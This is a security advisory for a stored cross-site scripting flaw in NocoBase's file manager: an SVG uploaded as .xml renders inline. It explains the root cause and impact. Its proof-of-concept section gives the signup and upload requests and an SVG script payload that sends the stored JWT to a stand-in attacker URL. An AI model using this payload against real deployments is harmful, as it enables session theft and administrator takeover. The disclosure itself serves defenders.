NocoBase: Stored Cross-Site Scripting via SVG content uploaded as .xml in the file manager

Under the default open signup, any logged-in user uploads an SVG document with a .xml extension; the nginx and Koa allowlists miss .xml, the file is served inline as text/xml and rendered by the browser as SVG with its <script>, which exfiltrates the JWT from localStorage to an attacker URL.

Advisory ID: TP-2026-053
Product: NocoBase (open-source no-code/low-code platform for building business applications, self-hosted)
Vulnerability type: Stored Cross-Site Scripting (CWE-79)
CVE: CVE-2026-79915
CVSS 3.1: 7.6 (High) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
Vendor advisory: GHSA-722v-mxqw-prh7
Affected versions: @nocobase/plugin-file-manager <= 2.1.25
Fixed in: NocoBase 2.1.26
Reported: 26 May 2026

Summary

NocoBase is a self-hosted no-code/low-code platform for building business applications whose file upload POST /api/attachments:create is open to any logged-in user by default. An upload with a .xml extension and an SVG document as its body bypasses the protections, because magic-byte detection returns nothing for SVG text, the fallback via mime.lookup yields application/xml, and the file is stored with the user-supplied extension. Both the nginx template and the Koa guard enforce the inline-download protection only for a five-extension allowlist (htm/html/svg/svgz/xhtml), so .xml is served inline as text/xml and Chrome and Firefox render the document as SVG and execute its <script>. Because the application sends no Content-Security-Policy and stores the JWT in localStorage.NOCOBASE_TOKEN, the script exfiltrates the token to an attacker URL. The default auth-basic authenticator ships allowSignUp: true, so an anonymous visitor self-registers, uploads the file and shares the URL; when a super-admin opens it, the attacker takes over their session.

Root cause

Both the nginx template and the Koa guard apply the inline-download protection only to a five-extension allowlist (htm/html/svg/svgz/xhtml), so a .xml file is served inline as text/xml with no protection (packages/core/cli/nocobase.conf.tpl:26, packages/core/server/src/gateway/static-file-security.ts:12). On upload with the default rules.mimetype unset, magic-byte detection returns undefined for SVG text, the action falls back to mime.lookup(originalname) (application/xml for .xml), and the pattern check does not apply under the * storage rule (packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts:87-107). The stored filename keeps the user-supplied .xml extension because diskFilenameGetter only appends a random hex suffix (packages/plugins/@nocobase/plugin-file-manager/src/server/utils.ts:69-86). The application sends no Content-Security-Policy and stores the JWT in localStorage.NOCOBASE_TOKEN, and the upload action is granted to every authenticated role via acl.allow('attachments', ['upload', 'create'], 'loggedIn') (packages/plugins/@nocobase/plugin-file-manager/src/server/server.ts:267). The default auth-basic authenticator ships allowSignUp: true, so an anonymous visitor self-registers with a single POST /api/auth:signUp and reaches the upload action (packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:289-298).

Proof of Concept

# 1) Anonymous signup, then sign in for a member JWT:
POST /api/auth:signUp?authenticator=basic
  {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic
  {"account":"a","password":"P!ssw0rd1"}   ->  data.token = TOKEN

# 2) Upload an SVG payload as a .xml file:
cat > poc.xml <<'EOF'
<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('//attacker/steal?t='+encodeURIComponent(localStorage.NOCOBASE_TOKEN))</script></svg>
EOF
curl -X POST -H "Authorization: Bearer $TOKEN" -F "[email protected]" \
  http://target:13000/api/attachments:create

# 3) Share the returned URL with a logged-in user.
# Response: Content-Type: text/xml, no Content-Disposition.

The browser navigates to the .xml URL, renders the document as SVG in the absence of Content-Disposition and executes its <script> in the application origin. In the live verification against nocobase/nocobase:2.0.57, a listener received the super-admin's JWT, which against /api/auth:check returned the super-admin profile including the PBKDF2 password hash.

Impact

  • Stored Cross-Site Scripting at the application origin: attacker-controlled <script> runs in the dashboard origin.
  • JWT theft via localStorage.NOCOBASE_TOKEN, with which the attacker takes over the victim's session.
  • When it hits the super-admin, full database read, write and delete follow, plus plugin installation via pm.add and user and role management.
  • Anonymous reach in default deployments, because auth-basic ships allowSignUp: true.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.